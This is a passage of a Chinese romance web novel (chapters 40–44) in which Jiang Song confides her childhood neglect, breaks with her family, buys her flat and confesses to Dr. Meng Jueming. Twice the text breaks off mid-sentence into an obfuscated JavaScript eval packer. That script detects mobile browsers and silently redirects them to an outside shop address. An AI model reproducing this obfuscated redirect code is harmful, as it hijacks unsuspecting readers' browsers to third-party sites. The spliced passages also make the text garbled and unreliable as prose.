他只说了这一句,于是她接上他的话:“当时陆轩没办法继续留在我这陪我,所以把我的情况告诉了你。你觉得我不想理你了,担心我知道你做的这些事之后会有心理负担甚至会把你推得更远,对吗?” 他轻轻点了下头,算是承认。 姜颂在心底幽幽叹了口气。 那个惊心动魄的晚上,除了那份时过境迁的恐惧之外,给她留下的还有持续至今的感慨。 她大概永远都不会忘记,在监控室大屏上各个角度的监控画面中看到那串放大的车牌号时,她是怎样的心情。 后来她仔细地查看了那段时间每一天晚间的录像,从年前几天一直到年后一周,孟决明几乎每天都会开车来到她楼下,一待就是一整晚,然后清晨时分再离开。 最开始她并未懂他的用意。 在她思考的时候,大屏上的监控还一直在往前倒放,当她无意中看到自己送陆轩去车站那一天的画面时,她忽然就明白他在她楼下蹲着干什么了。 是陆轩担心她,所以临走前把她家里疑似有人进过的事告诉了孟决明,拜托他帮忙照看她。 而他那时候刚被她拒绝不久,不敢跟她见面,也不敢让她知道。就只能用这样的笨办法守着她,万一真发生什么事,听到她的呼救声能够第一时间冲上楼或者帮她报警。 可他们再见面的时候,他却像个没事人一样,对这件事绝口不提。 如果楼上那个变态男没有被抓到,她大概一辈子都不会知道他为她做过的这一切。 世界上怎么会有这样的傻子。 夜色中,她无声地笑起来。 “那你今天在这里是为了什么?” 他又不吭声了,她就抬头直勾勾地盯着他的眼睛,不准他躲开,猜测道:“你怕我跳楼啊?” 他被她逼得没办法,败下阵来,只能顺了她的意回答她的问题。 他正视着她,摇头:“没有,我知道你很坚强,不至于这样做的。我只是在这想陪陪你。” 今天的举动本意没有别的意思,但他不知道她得知后会不会觉得困扰,这样的行为似乎有些越过了她的那条界限。 被不喜欢的人这样“纠缠”,会让人感到不舒服的吧。 他还想再说点什么补救一下,但又不知道该说什么,因为他被她当场抓包,一切都无从辩驳。 他做好了被她再次划清界限的准备。 紧接着,在他紧张地迎接最糟糕的结果之时,恍惚中听到她说:“可你在楼下这样陪着,我也不知道呀。” 她微微弯腰,从下往上仰头对上他闪躲的眼:“正好我也睡不着,一个人待着有点闷,想找个人陪我喝酒。” 她眼睛亮晶晶的,向他发出邀请:“跟我上去吗?” 41. 第 41 章 他漆黑的眼眸里透出片刻的怔忪。 姜颂拢了拢她身上那件属于他的外套,又瞧瞧他身上那件薄薄的衬衫。 抬眼道:“太冷了,你再考虑下去,我们两个都要冻坏了。” “我就当你答应了。”没给他反应的机会,她替他做了决定,伸手抓住他手腕。 他被她牵着腕子,一路向前,穿过一层层楼梯。她走在前面,他亦步亦趋,被她紧握的腕骨发热发烫。 她的一只手无法完全环住他的手腕,整个掌心都覆上来,柔软的触感紧紧贴合着他的脉搏。 他滚了滚喉结。 通过心率推算脉搏,大概迈一阶台阶跳动三次,也不知道她有没有感受到异常。 上楼的脚步声规律地落在他耳中,每一步都像踩在他心尖上。 一直到进了门,被一室馨香笼罩周身,她递给他一个垫子,自己盘腿坐下。他慢半拍地接过垫子没了动作,她问他愣着干嘛的时候,他才如梦初醒。 他慢吞吞地把垫子放在她身旁左边的位置坐下来,却学不会她那样盘起腿,只好略微将一双长腿曲起,委委屈屈地抱着腿缩在沙发和茶几之间那一方小天地。 暖黄色的光晕在这方寸之间漫开,静谧而柔和。 她开了一瓶酒递给他。 他接过,看了眼桌上倒着的空瓶,将那瓶酒捧在手里,没喝。 她自己喝了一大口,顿了顿,说:“你早就看出来我根本没那么无所谓了,对吗?” 他没说话,点了头。 她弯了弯唇角:“去之前我真的以为我会无所谓的。” “我的每一个亲人都扒在我身上吸血,远离了他们,不用再背负着他们的命运去生活,从此自由,我以为我会很畅快。” 她停了下来,捏着酒瓶的手指在拉环上摩挲了几圈,眼睫轻垂,她摇着头:“可是没有。” “我刚才睡了一会儿,梦见了好多小时候的事,醒来就觉得心里堵得慌,很想找人说说话。可是扒拉来扒拉去,”她侧头看他,“好像只有你能说,我知道你一定愿意听我说。” 他微微一笑:“愿意。” 她露出一个满意的笑,喝了一口酒,双腿屈起并在胸前。她右手肘部支撑着膝盖,手掌托腮,在暖光的衬托下一双漂亮的杏眼潋滟多情,已染上了几分醉意。 她拖着调子嗯了好久:“让我想想从哪里说起。” 想了一会儿,像是想到了,她看着他的脸,开口道:“你记不记得有一次半夜你来找我,我们俩一起在小区里散步。” 孟决明很快记起她说的是哪一天。 姜颂:“我那时问你为什么不问我想家怎么不回去,你反问我想不想说,但是我最后还是什么都没说。” 他当然记得。 从那时候他就感觉到她对家庭问题的回避,这份回避里还带着一点残存的依恋。只是她不愿说,他也只能默默保持着距离不去探问她的秘密。 “其实我当时是有点害怕。”她忽然说。 他有些不明白:“害怕什么?” 她看了他一眼,平静地讲述着关于家的一切。 她的家在一个很偏僻的小镇上。经济的欠发达带来的往往是思想上的愚昧和落后。所以,整个镇子都还保留着老一套的陈旧观念,比如,重男轻女。 姜颂:“我有个弟弟,小我六岁。” “在医院见过了。”孟决明说。 她点头,接着说道:“没有弟弟之前的生活是什么样子我不太记得了,只是从我有记忆起,我就一直是姐姐的身份,身边所有的大人都在告诉我,弟弟是男孩,所以很重要。” 她说弟弟刚出生的时候,全家人都在围着他转。家里没什么钱,爸妈却舍得托亲戚从城里给他买很贵的奶粉。 她讲到这,轻轻笑了一声:“哦,其实也不是很贵。只不过当时我觉得家里实在太穷了。你可能无法想象,一年四季,这一季地里长什么菜,家里的饭桌上就会连续出现什么菜,大多数时候有且只有那一种,几个月也吃不上一次肉,只为了省钱给他买奶粉和一些很贵的婴儿用品。” 人类没有婴幼儿时期的记忆,她根本想不起来自己是个婴儿的时候是否得到过父母这样的重视。不过这些记忆也实在没有必要存在,她光是推想就知道那是不可能的。 一对父母的钱和爱都是有限的,在各种资源都极其贫瘠的家里,有弟弟就注定她要成为那个血包。更可怕的是,这种无度的索取并不是从弟弟成年结婚娶妻的时候才渐渐揭开序幕,而是从他出生的那一刻起就已经开始了。 小到她的吃穿用度被克扣,大到人生岔路口的选择被指定,一切都要排在弟弟的需求之后。 父母把所有的注意力全都放在了弟弟身上,她自然而然地成了被忽略的那一个。 “我从小到大听了太多太多例如你是女孩不需要努力,他是男孩天生就干不好家务就该女孩做这种话。”她停顿了几秒,说,“那天我什么都没跟你说,是因为我真的很害怕我说了之后,会从你的表情里看到一种无法共情的冷漠。” “因为我也是男人。”他理解了她的想法,接上她的话。 她没有否认这个原因。 但紧接着她又说道:“不过跟你相处下来这些天,我有足够的把握可以确定你不会那样的。所以今天我愿意把我的秘密分享给你。” 他笑道:“谢谢你肯信任我。” 她也笑:“不客气。” 他眉眼弯弯,柔声道:“那跟我说说你刚才的梦吧。” 说了这一会儿话,姜颂感觉酒劲儿慢慢爬了上来。闻言,她认真回想刚才的梦境,酒精的作用使她连思考都开始变得迟钝,她想了好半天才想起来。 她说:“我刚才梦见了小时候,好像是考试之后,老师在给考了双百的同学发小红花贴纸。醒来之后我忽然想起来,我小时候也拿过一次双百,得到了一张贴纸。” “就贴在这里。”她抬起手指指手背,笑了,“我那天真的特别开心,是一路跑着回的家。” 她笑得灿烂,他被这笑容感染,不由自主地想继续听她说下去:“然后呢?” 姜颂半眯着眼,沉浸在回忆里。 她笑着笑着,像是想起了结局,嘴角的弧度渐渐收小,到了最后只剩下一点点。 “然后,他们把小红花从我的手背上撕下来,贴到我弟弟手上。他太小了,看着那个贴纸特别好奇,一把撕下来捏得背面的胶水粘在一起,没办法再贴了。” 她特别生气,可能是察觉到父母对弟弟的偏爱和对自己的忽视,那段时间她总是急于去证明些什么。 “后来有一天我跟着我爸去赶集,在我爸给弟弟挑玩具的时候,我蹲在旁边悄悄看玩具摊上那一整排的漂亮娃娃。”她回忆着当时看到的场景,给他描绘,“真的很漂亮,卷卷的头发,精致的裙子,大概很多小女孩看到都会走不动路。” “然后我一转头看到了旁边的价码。” 上面的标价让她明白,无论她怎么耍赖,都不可能会得到它们。 “为了让我爸同意,我就选了最角落位置上的一个最便宜的,只要两块钱。” 那是一个盗版的芭比娃娃,裸着身子可怜地被摆在那些漂亮娃娃旁边做衬托,越看越凄凉。它没有旁边那些精致包装的娃娃礼盒里配套的漂亮裙子,做工也粗糙无比,接缝处还残留着脱模时溢出的毛边。 但它只要两块钱。 这么多年过去,那个娃娃的样子还深深地印在她脑海里,她记得那娃娃身上的每一处瑕疵。 当时的她怯生生地拽了拽父亲的衣角,指着地摊上角落里那个没衣服穿的娃娃,很小声地说她想要。 父亲说,要什么要,没钱买。 “其实现在想想,那个娃娃真的很丑,我也不是真的很喜欢那个娃娃,我当时可能就是想证明一些东西。” “我一直哀求他买给我,他不同意,我就坐在人家摊子前面又哭又闹,满地打滚,引 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姜颂没看他,双臂抱着膝盖,手里拎着喝掉一大半的酒瓶,下巴搁在膝上,白净的脸不知什么时候已然透出了一抹薄红。 她连说话的声音也开始模糊,如同呓语:“后来长大了一点,我爸妈说要去打工,只能带一个孩子。他们说,小骄太小了,所以要带他走,只能把我送去舅舅家住。” 后面的事孟决明就能连起来了,陆轩只给他讲了这之后的一些事。 陆轩那一段段的文字浮现在他脑海里,他在眼前的姜颂身上仿佛看见了当年那个孤立无援的小女孩。 在最敏感的青春期里,她却要将这份敏感小心翼翼地藏起来,忍受着生理变化带来的烦躁,违背自然规律地扮演起一个听话懂事又善解人意的乖孩子,不能有一丁点的叛逆。 因为,当时的她没有任何依靠,也没有人能够包容她的叛逆和敏感。她只能在无数个夜晚,像现在这样蜷起瘦弱单薄的身体,连同眼泪一起藏起。 孟决明强忍着因心疼而不断上涌的泪意,制止住她去拿新酒瓶的手,他放柔了声音对她说:“可是你真的很棒,你把自己养得特别好。” 她懵懂地抬头问:“真的吗?” “真的。” 她缓慢地眨了下眼,醉意明显,再也压不住眼中的痛色,悲伤狂涌。 再开口时,她的声音就染上了浓重的哭腔:“那我这么好,为什么他们还是不爱我啊?” 她默然看着他语塞,五官渐渐皱成一团,眼泪决堤。 “我知道的,只是因为我是女孩。” 听起来非常荒谬的理由,却让她困惑了这么多年。 最开始她以为是因为自己是家里的大孩子,年纪小的弟弟才会被优待。而现在她明白了,不管是弟弟还是哥哥,他们都会得到优待。 她帮着父母欺骗了自己很多年,其实到头来只是接受不了自己是不被爱的。 她把脸埋进臂弯,肩膀颤抖着发出压抑的抽泣声。 他靠过去,宽阔的手掌在她头上轻轻地揉,嗓音里也压着涩意:“不哭了,以后你就自由了,只会越来越好,会有越来越多的人来爱你。” 她闷闷的说话声传来:“我就再哭这最后一次,今天以后,我就再也不会为了这件事哭了。” 他将人圈进怀里,嗯了一声,眼角有泪珠滚落。 窗外不知何时下起了小雨,是开春的第一场。 她在他怀里哭着哭着就睡着了,他将人抱到卧室的床上安置好,坐在床边看她哭红的眼眶。 他在心底对她说,姜姜,以后再流泪的时候希望你只是因为感受到了幸福。 春雨淅沥,拍在窗玻璃上,为春日的到来奏响一支欢快的歌。 他掩好她房间的门,回到客厅收拾里那一桌东倒西歪的酒瓶,连同垃圾桶里的垃圾一起打包带下楼。 丝丝缕缕的雨幕之中,他开车驶离了清欢里。 42. 第 42 章 接下来的几天里,曾有两个陌生号码给她打过电话。 姜颂知道,这些号码背后都是姜母。 孟决明跟她说了一些她不再去病房后的事,姜母知道孟决明是她的朋友,每每见到他总要打听她的状况,都被他马马虎虎地糊弄过去。 姜颂知道现场说谎对他来说有多难,而且他的谎言很容易被拆穿。她给他编了个理由。 【你就说你是我前男友,我劈腿被你抓到,你不想再跟我有任何关系,这样他们就不好意思问你了。】 孟决明听完这个理由沉默良久:【能不能换一个?】 【为什么?】 【医院人多口杂,万一传出去对你不好。】 姜颂奇了:【我又不是你们医院的人,没人认识我呀。】 【那也不行。】 姜颂:【那就说我欠你钱没还跑路了。】 过了一会儿。 孟决明:【我还是自己想个理由吧。】 姜颂:“……” 也不知道他想出了什么理由,似乎是有些用处的。 大约是姜家父母感受到和她的联系真的在一点点断掉,她手机收到陌生电话的频率越来越高。 她一个也没接。 后来,又有不同的号码开始给她发短信,一眼扫过去,满屏的对不起。 她不由得笑出声。 可是笑着笑着,眼泪就模糊了视线。 一句句对不起伤害了她一年又一年,像一个个抛出的绳索,只要她一不小心,就会被套牢并拖回那片深渊,万劫不复。 一句对不起只需要轻飘飘的三个字,可是做到对得起难道就真的很难吗? 那天她对着手机一个人在房间里坐了很久,最终还是没让眼泪掉下来。她说过了,那天晚上是她最后一次为了姜家哭。 她把号码一一拉黑,短信删除。隔天,她去柜台办理了新的号码。 从此,完成了与姜家的彻底切割。 * 说起来也算因祸得福。 抄袭事件因为沾上饭圈大战,让姜颂的账号“姜姜姜姜”在微博热搜上连着挂了好几天,曝光度大大提升。再加上后面紧接着的一系列反转,热搜成了她的免费宣传位。 最近一段时间,她上网冲浪的时候偶尔还能刷到老顾客的安利贴,连带着营销号也跟着起哄把她夸上了天。 流量带来的红利从天而降。几天的时间,她的手工账号狂涨几十万粉丝,大大小小订单直接排到了明年年底,给她吓得赶紧在主页挂了“暂不接单”的通知,期间后台的私信还在一直蹦。 由于爆单,姜颂担心自己会漏掉单子,又重新回去看了一遍后台的消息,把最近的排期和客户需求一条一条抄在客厅那块移动小黑板上,决定之后做一单擦掉一条。 在后台众多排单夹杂着询价的消息之中,有一条特殊的消息吸引了她的注意力。 特殊的是那个账号的头像和ID。 那是一个政府官方账号。 她点进账号主页确定信息真伪后,点开了那条私信。 长长的一条文字介绍着对方的来意。 逐字阅读后,她顿时来了兴趣,爽快地给了肯定的回复。 整理完私信接到的订单后,姜颂做了一份排单表,专门把最近的一个月的时间空了出来。 她已经拿到了剧方的二十万版权费,接下来要开始准备买房的相关事宜。 下午闲来无事,姜颂到售楼处转了转,比对着房价算了一下,她的存款买下一个全新的小户型没什么问题。 有问题的是,如果买新房子,连选址带装修,再算上通风散味的时间,最起码也得大半年。 再者,她出租屋里那些杂七杂八的手作品打包运输起来也不是什么容易事。 售楼小姐还在追着她讲最近房价下降,现在下手还有优惠巴拉巴拉的推销话术。 姜颂还是没下定决心,只跟对方说她再考虑考虑,在售楼小姐没反应过来的时候抓紧溜走了。 现在是三月底,又到了交下一季度房租的日子,还是交房租时给了她启发。 清欢里这套房子房龄不长,整体还很新,位置、大小也都比较合适。 最重要的是,要是她能买下这里,那她连家也不用搬了! 从转账页面退出去,她编辑了一条信息询问房东是否有卖房的意愿。 房东大概是考虑了一会儿,很郑重地打了电话过来,坦诚地跟她讲了一些这套房子的情况,问她能不能接受。 房屋损耗都在可接受范围内,姜颂去房东家当面谈了价格,全款买下。 五天后,她揣着那本红色的硬壳证书从登记中心出来 她手指抚过封面上烫金的文字,看了又看,好半晌才终于有了些实感。 多年的心愿终于完成,说不激动是假的。 从此以后,她有了自己的家,想买什么就买什么,想怎么布置就怎么布置,再也不会有人让她滚出去,也不需要向任何人付房费。 这是她给自己兜底的资本,也是她开启新生活的勇气。 她打开手机看了眼日历,明天是周末。 她跳转到微信发消息给孟决明。 【明天中午我想请张律师吃饭,只有我们俩的话好像有点尴尬,要是明天你有空的话,可以陪我一起去吗?】 他发了个好。 姜颂开心地把餐厅地址发给他。 孟决明:【收到啦,明天我先去接你,我们一块去。】 可能是跟她在一起待久了,她怎么莫名感觉孟医生有时候在模仿她的语气呢? 姜颂回了个OK的表情包,然后盯着他那张小猫头像看了几秒,弯弯唇角。她在输入框里打了一句话。 她想快点拥有自己的房子,除了因为期待拥有自己的小家期待了很多年这个最重要的原因之外,还缘于另一个来自于她心底的、思考许久的决定。 但在按下发送键之前,她想到接下来的安排,临时改变主意,删去了那句话。 她一抬头看到澄澈的万里晴空,远处树枝枝头的绿意初显,万物生长,生命蓬勃。 天气预报显示最近都是这样的大晴天,温度一点点升高,是可以穿裙子的季节了。 阳光洒在她身上,她眯着眼感受春日的暖意。 时间还早。 她一个人去吃了种草很久的餐厅,打卡了网红冰淇淋店,还去看了最近口碑不错的电影。 电影散场后,她从商场四楼下到二楼的服饰专卖区。路过一家某品牌的女装店时,她忽地停住脚步。 橱窗里的模特身上展示着一件连衣裙。 纯白色,没有任何花纹,法式方领,收腰设计,裙摆垂感很好,长度大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254149|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她小腿位置。 很素的设计,但很符合她的审美。 她盯着那条裙子想了些事情,刚在店外站了两分钟,里面穿着工作服的店员便带着一张笑脸迎了出来:“女士,喜欢的话可以进来试试。” 姜颂正有此意,愉快应下。 店员麻利地从仓库里找出她需要的尺码。 姜颂换上后,在试衣镜前看了看,当即决定买下。店员趁热打铁推荐了一款同色系的高跟鞋,她觉得挺合适的,便也一起带回了家。 晚上,她洗澡的时候顺便把裙子放进洗衣机,等洗完澡正好洗完,她拿去阳台晾好。 从阳台回到卧室,她才发现孟决明发了一张照片给她,是他按照她昨天上传的小兔医生视频教程做出来的白模。 姜颂点开观摩了一番,给出评价:【有进步!】 孟决明:【小狗转圈.jpg】 姜颂:【你怎么盗我表情包啊!】 孟决明:【你介意吗?那我还是删了吧,抱歉。】 【M.撤回了一条消息。】 人怎么能认真成这样。 姜颂是真服了,哭笑不得地打字:【跟你开玩笑的,不介意,随便拿走。】 姜颂:【小牛微笑.jpg】 孟决明:【小牛微笑.jpg】 不知道为什么,看着屏幕上那张抽象的小牛微笑表情包,姜颂不由得也跟着一起笑。 滑到上面,又看到小兔医生的白模照片,她突然记起来一件事。 他不发这照片她差点都要忘了。她说过要把做出来的第一套小兔医生系列送给他的,后面发生了太多事情,他没提,她也没想起来。 临睡前,她跑到工作室找出来一个尺寸合适的打包盒,在底下铺了拉菲草,将五只小兔依次放进去。 末了,她想了想,还是拿出了其中一只。 打包好礼物,她回到卧室,想着明天的安排,不知不觉睡了过去。 * 上午十点二十,他轻车熟路开进清欢里。 他没上去,就站在楼下给她发了条消息。 没回。 想到她也许在化妆,他耐心地等了十五分钟,还是没有收到回信。 正当他考量着要不要打个电话问一下时,余光里多了一抹白色。 她身着纯白长裙,怀里抱着一个盒子,正施施然从楼门口一步步朝他走来。 他无端地想起和她的第二次见面。 那一天,漫天的金叶飞舞,她身影在其间穿梭,裙摆晃动,远远望去,自然地与风景融为一体,像一幅秋日的油画。 比世界上任何名家的画作都要鲜活。 而今天的她白裙淡妆,素净清秀,乌黑的发编成一根侧麻花辫,鬓边的碎发自然垂落。 纯洁而美丽,像一朵迎风舒展的茉莉花。 高跟鞋踩在地面上,哒哒的声响离他越来越近。 她笑盈盈地抱着那个盒子来到他面前:“送给你的,是我做出来的第一套小兔医生。” 他接过那包装精致的盒子,没想到会在今天收到这份礼物,意外道:“谢谢,我很喜欢。” 姜颂刚想说你都还没拆开看过呢,可转念一想,他已经看过那张用来澄清的成品图了,只好把到了嘴边的调侃咽了回去。 她看看时间,说:“那我们出发吧。” 43. 第 43 章 张威早就告诉姜颂不必破费,非要请的话随便一家都可以,他也不挑食。 但姜颂还是很认真地选了很久的餐厅。 她很少跟不是特别熟悉的人一起吃饭,也不清楚张威的不挑食是客套还是真的,只好求助孟决明。 他给了她意见:“你就选你喜欢的就可以。” 参考了他的意见后,姜颂最终定下一家口碑很好的中高档餐厅,为了环境好一些还特意订了一个小包间。 他们出发的时间较早,在包间里等了一会儿,张威准时到了。 看见包间里的两个人,张威眉梢一扬,含笑道:“路上有点堵,我没迟到吧?” 姜颂笑道:“没有,快坐吧。” 张威慢悠悠坐下,目光在对面这俩人身上不动声色地徘徊过一阵。 他看向孟决明,试探着问:“你们一起来的吗?” 孟决明:“对,我们也刚到不久。” “哦,这样。” 张威顿时心里有了谱。 他做律师这行多年,察言观色已经变成了一种职业习惯。只一眼,他就能捕捉到面前这两个人之间微妙的变化。 他看破不说破,那颗七窍玲珑心不费吹灰之力就活络出了一个主意。 菜是提前点好的,姜颂交代过服务员等人到齐就开始上菜。 这家餐厅上菜速度还可以,没一会儿菜就上了一多半。因着今天在场三个人里有两个都要开车,姜颂没要酒,询问了两人的意见后只点了果汁。 “这次的事多亏张律师帮忙,真的特别感谢。费用你也不肯收,今天这顿饭只是聊表谢意,如果以后有什么忙我能帮得上请尽管开口。”她举杯道,“我以果汁代酒,敬你一杯。” 张威拿起杯子跟她碰了一下:“都说了大家都是朋友,不用这么客气。意思一下得了,吃饭吃饭!” 姜颂只见了张威两面,但她看得出来,他的确是个随和的性子,说不挑食也确实是实话。 大概律师大都比较健谈,张威从不会让任何一句话掉在地上,仿佛只要有他在,气氛就不会突然变冷。 姜颂从小就很羡慕这种社交能力强的人,一时间对其无比欣赏。 聊到后面,张威看看时间,说:“我今天还约了个当事人见面,得先走了。” “饭就算吃过了,谢谢招待。”他拿起外套,“先走了,你们慢慢吃。” 姜颂欲起身去送他,被他拦住:“别别别,我自己走就行。” “那怎么可以。”她一副必须要送他出门的样子。 孟决明:“我去吧。” 姜颂觉得那也不太合适,毕竟今天是她请客感谢人家,还是自己去比较礼貌。 谁料张威说:“正好我有点事要跟他说,让他送我吧。” 话都说到这份上了,她只好作罢。 只剩她一个人在包间里。 孟决明再回来的时候已经是十分钟后。 见她坐在那玩手机,筷子端正地搭在碗上,他问:“怎么不吃了?” “在等你回来。” 他在她身旁坐下。 姜颂转了一下桌子,将某道菜转到他们俩面前,“这个你刚才尝过吗,我觉得很好吃。” 她说完,等待了两秒,没听见身边人出声。 一转头,触及到他的目光,他又瞬间躲开。 他用公筷夹了一点:“没有,我尝一下。” 姜颂看着他的动作,收回目光,自顾自夹菜吃,她若无其事道:“这附近有个景点,我们吃完饭去看看吧,顺便消消食。” 他向来是对她无有不从。 姜颂说的景点是不远处的一片湖泊,上面还架着一座拱桥,据说距今已有几百年历史。 午后阳光正是最盛的时候,然而不比夏季盛阳的毒辣,和煦的春光只会让人感到温暖。 姜颂平时并不怎么穿高跟鞋,眼下还没完全适应,走路有些慢。或许是为了照顾她的速度,孟决明也走得格外慢。 从餐厅出来到古桥只有几百米路程,姜颂感觉他们俩走了得有快十分钟。 早就听说新鞋会磨脚,早上刚穿上没觉得,这会儿走了一段路,她越走越清晰地感受到后跟传来尖锐的疼。 她只略微一皱眉,很快被他察觉。 他一下子问到点子上:“是不是脚疼?” 神了,这人是会读心术吗? 姜颂惊讶:“你怎么知道?” 他笑笑,没回答她。放眼一看,不远处正好有公共座椅。 拉着她到旁边的公共座椅上坐下,他蹲下身:“我看看。” 他托着她的脚,慢慢脱下她的鞋子,脚踝后面和鞋子接触的地方红了一片,“磨破了。” 他掏掏口袋,拿出两个创可贴,利落地拆起包装。 姜颂:“你是哆啦A梦吗?” 他不解:“什么?” 她解释:“就是一个动画片,哆啦A梦是一只机器猫,肚子上有个口袋,总能从那个口袋里掏出各种各样的宝贝来帮助他的朋友。” “没有那么多,只有这个。”他低着头,贴好一只脚,给她穿上鞋子,又去贴另一只脚的伤口。 她记起这好像不是第一次看见他带着创可贴了,问道:“你身上经常带着这个吗?” “想起来就会放几个,偶尔能用上。”他给她穿好右脚的鞋子,将不小心掉在地上的包装纸捡起来,“起来走走试试,还疼吗?” 姜颂起身,试着走了几步,磨破的皮肤被无纺布保护着,与鞋子坚硬的皮革隔开,疼痛感大大减轻。 “好多了。”她看了看古桥的位置,“继续走吧,就快到了。” 他走在她身旁。 同行一小段路后,他忽然道:“好像很少见你穿高跟鞋。” 跟她见面大部分时间是在她家里,偶尔外出一起吃饭,她穿得也都是平底鞋。 她偏头看他,眨眨眼:“不好看吗?” 他看她一眼,如实回答:“很好看。” 怎样都好看,每天都好看。 转眼行至桥头,她问他:“你是不是想问,我今天这样隆重是不是为了见张律师?” “不是。”她没有等他回答,直截了当地说,“我的确很感谢张律师对我的帮助,但是如果只是为了请这顿饭,我不会花心思在打扮上。” 他回想方才席间她看向张威的眼神里那份明晃晃的欣赏之意:“那是……” 她说:“当然是有更重要的事值得我好好打扮。” 这古桥不长,几句话的工夫,两人走了一半,站上拱桥的最高位置。 她停下来,走到桥边,扶着围栏眺望远方。 “孟医生,其实帮我更多的是你。”她没看他,仿佛在对眼前这片湖水说。 他不知道她说这样的话代表着什么,隐隐有了个猜测,又觉得是自己疯了。 他答:“我们,不是朋友吗?” “现在这一秒是的。”她逼近他的眼睛,“但你只想跟我做朋友吗?” 他说不出话,只是看着她。 她也坦诚地回望他,就这样僵持了几秒,她忽地抓起他垂在身侧的手,往他手里塞进了一个小小的金属物。 是一把钥匙。 那小小的一片,没有属于金属制品的冰冷,反而带着一点温热。 那是她掌心的温度,也不知道她悄悄攥了多久。 他指尖不受控制地颤抖着,喉头哽住,抬眼望向她。 “我拿到版权费之后,就把清欢里的房子买下来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263536|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以后那里就是我的家了。”她说,“这套房子不算很大,可只有我一个人住,我会觉得有一点害怕。” “那时候我没回应你,是因为我当时也不知道自己未来想要什么,但是现在我想清楚了。”她仰头看着他,眼神赤诚而坚定,“除了属于我自己的房子,我还想要你。” “我所有的家人都被我亲手丢掉了,现在我想问你,如果我说我想选你做我唯一的家人,你还会愿意吗?” 四下寂静,唯有风声。 他像是定格在了那里,眼神、表情都没有任何变化,活像一尊英俊的雕像。 没等到想要的反应,姜颂眨了下眼,慢慢垂下眼帘:“你也可以拒——” 话没说完,她被圈入一个宽阔而温暖的怀抱之中,薄荷混合着雪松的独特味道从四面八方涌来,一瞬间将她包裹。与他的爱如出一辙,只要她肯将她的大门为他敞开一条缝隙,顷刻就会将她包围。 她感到来自他的颤抖,以及轻微的啜泣声。 她被他抱得太紧,甚至无法侧过头,只好在他怀里闷声闷气地问:“怎么哭了?” “我是……有点太高兴了。”他伴着哭腔的声音自她耳畔传来,云开月明的无尽欣喜中夹杂着一点委屈,“姜姜。” “谢谢你选择我。” 他抱过她不止一次,但只有这一次,他终于可以毫无保留地表达他的爱意。 湖面平稳如镜面,岸边的垂柳抽条,春风拂过,柳条轻歌曼舞,春水如波。 不知道抱了多久,姜颂在陷入恋爱的甜蜜余韵中恍然记起还有件事忘记告诉他。 “明天开始我要到外地出差两周,政府邀请我去给农村地区的妇女们上技能培训课,我觉得很有意义就接了。这几天我也想了很久要不要回来再跟你表白,但我有点等不及了。”她有点不好意思,“表白第二天就异地,搞得我好像要跑路一样。” “没关系,”他在她颈侧摇头,终于肯放开她,“今天就很好,我可以提前开心两周,是我赚了。” 他这样大度,反倒令她有些愧疚。她踮起脚,抓着他的衣襟凑到他唇边落下一个浅浅的吻。虽然他显然没怎么失望,她还是用哄人的语气对他说:“等我回来的时候,我们约会吧。” 他弯腰,在她额头上亲一下,低声说:“好,我等你回来。” 下桥的时候,她牵起他的手,每一根手指都穿过他的指缝,与他十指相扣。 走出几步,她问道:“张律师跟你说什么了,跟我有关系吗?” 她总有种被张威看透心思的感觉。 “他问我我们有没有在一起,我说没有。”他笑道,“他让我努努力好好追你。” “那下次我们再一起请他吃饭吧,婚礼主桌暂时吃不上,但可以先单独请请他。” “听你的。” 两个心愿都顺利实现了,姜颂从来没有觉得自己像此时此刻这样幸福过。 她对他说:“其实刚才那片湖有个名字,叫情人湖。” “有什么故事吗?” 她故作神秘:“相传,当年织女被从人间带回天上,路上途经此地,回头遥望牛郎,相思之情顿生,于是掉下一滴眼泪,落到大地上,汇聚成这片湖泊。后来人们建成了这座桥,只要有情人从上面走过一遍,就会一生一世都相爱。” “还有这种典故,之前倒是没听过。” 姜颂瞄了他一眼,忍了又忍,实在没忍住,大笑道:“这就是个普通的湖,故事是我瞎编的!怎么我说什么鬼话你都信啊.” 她明媚的笑容落入他眼底,他眉梢眼角都沾上笑意,感受到来自她掌心的温度,只觉得一颗心全部被她占得满满当当,此生都将被她占据。 他默默收紧手掌,固执道:“那我也信。” 44. 第 44 章 出差的地方在邻市的一个小县城,距离桐市车程四个小时。 到达当地已经是下午,妇联主任接待的她。 妇联主任姓张,是个打扮利落的中年女人,看上去有些严肃,可一开口亲和力扑面而来,让人如沐春风。 她说了授课安排,姜颂觉得挺合理的,没发表意见。 张主任看着她的脸,微笑道:“还是我们单位的一个小同事向我推荐了你,并策划了这个活动,我也是看了你的作品才决定启用这份策划案的,只是没想到账号背后是个这么年轻的小姑娘,真是年轻有为。” “您过奖了。” “我负责妇联工作十几年了,下乡的时候见过太多女人被孩子困在家里,每天辛苦操劳照顾一大家子,但因为没有收入,她们的付出无法被量化和看到,在家里从没有话语权。”张主任说,“做这个活动也是为了帮助她们掌握一项技能,以后也能多一些收入,早点脱离困境。所以,就拜托你了。” 这些姜颂怎么可能不懂呢?她从小就在家里看了太多这样的情况,母亲是,舅妈也是。明明女人们在家里付出的精力并不比男人少,却只是因为没有被量化为金钱,就总是被理所当然地忽略。 当时看到那条私信,姜颂几乎是第一时间就想同意。 